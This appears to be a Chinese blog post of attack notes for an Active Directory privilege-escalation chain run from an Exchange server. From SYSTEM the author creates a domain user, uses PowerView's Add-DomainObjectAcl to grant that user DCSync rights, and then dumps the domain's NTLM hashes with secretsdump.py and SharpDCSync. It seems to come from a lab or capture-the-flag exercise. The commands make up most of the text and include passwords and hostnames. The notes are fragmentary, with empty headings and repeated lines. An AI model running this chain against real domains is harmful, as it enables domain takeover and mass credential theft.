Exchange Windows permissions WriteDACL攻击链路
前言:Exchange Windows permissions WriteDACL攻击链路
参考文章:https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
参考文章:https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md
参考文章: https://www.microsoftpressstore.com/articles/article.aspx?p=2231764&seqNum=3#:~:text=This object and all descendant objects Permissions will apply to ,within%20the%20object%20being%20modified.
参考文章:https://3gstudent.github.io/域渗透-使用Exchange服务器中特定的ACL实现域提权

修复前

修复后

- 场景是当前已经拿到了exchange的system权限,此时相当于拥有Exchange Trusted Subsystem权限,这种情况的话首先通过sharpview的New-DomainUser创建一个test域账户
New-DomainUser -SamAccountName hello_test -Description hello_test -AccountPassword user@123
- 然后通过sharpview的add-domainobjectacl来赋予test域账户的dcsync的权限
Add-DomainObjectAcl -TargetIdentity "DC=xiaorang,DC=lab" -PrincipalIdentity hello_test -Rights DCSync -Verbose
Add-DomainObjectAcl -TargetIdentity "DC=zpchcbd,DC=com" -PrincipalIdentity hello_test -Rights DCSync -Verbose
就是使用账号密码使用 LogonUserA 登录,然后获取到 token,使用 ImpersonateLoggedOnUser 模拟用户权限、
- 接着使用test域账号密码使用 LogonUserA 登录,然后获取到 token,再以ImpersonateLoggedOnUser模拟用户权限向域控发送dump dcsync的请求
send dcsync
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpDCSync.cs
ping XIAORANG-WIN16.xiaorang.lab -n 1
python3 secretsdump.py xiaorang/hello_test:admin@123@172.22.3.2 -just-dc-ntlm
Import-Module .\dev_PowerView.ps1
$UserPassword = ConvertTo-SecureString 'admin@123' -AsPlainText -Force
New-DomainUser -SamAccountName hello_test -Description hello_test -AccountPassword $UserPassword
dir /b /s flag
CredCheck.exe dkw741fa Vultest@001 WIN-MG4C5QO445H.zpchcbd.com zpchcbd.com
$UserPassword = ConvertTo-SecureString 'admin@123' -AsPlainText -Force
New-DomainUser -SamAccountName two -Description 'This is one' -AccountPassword $UserPassword
New-DomainUser -SamAccountName two -AccountPassword $UserPassword
// Set-DomainUserPassword -Identity harmj0y2 -AccountPassword $UserPassword
既然最后都是要给用户添加 dcsync 的权限,那和添加到 permission组里面没有任何关系啊。在组里面和不在组里面,添加了 acl ,都能完成 dcsync、
不是,你不是说,还需要给这个组里面的那个用户加个 dcsync 的acl 吗。那dump 的时候,是用这个用户呢还是直接 system?
赋予dcsync的区别


浙公网安备 33010602011771号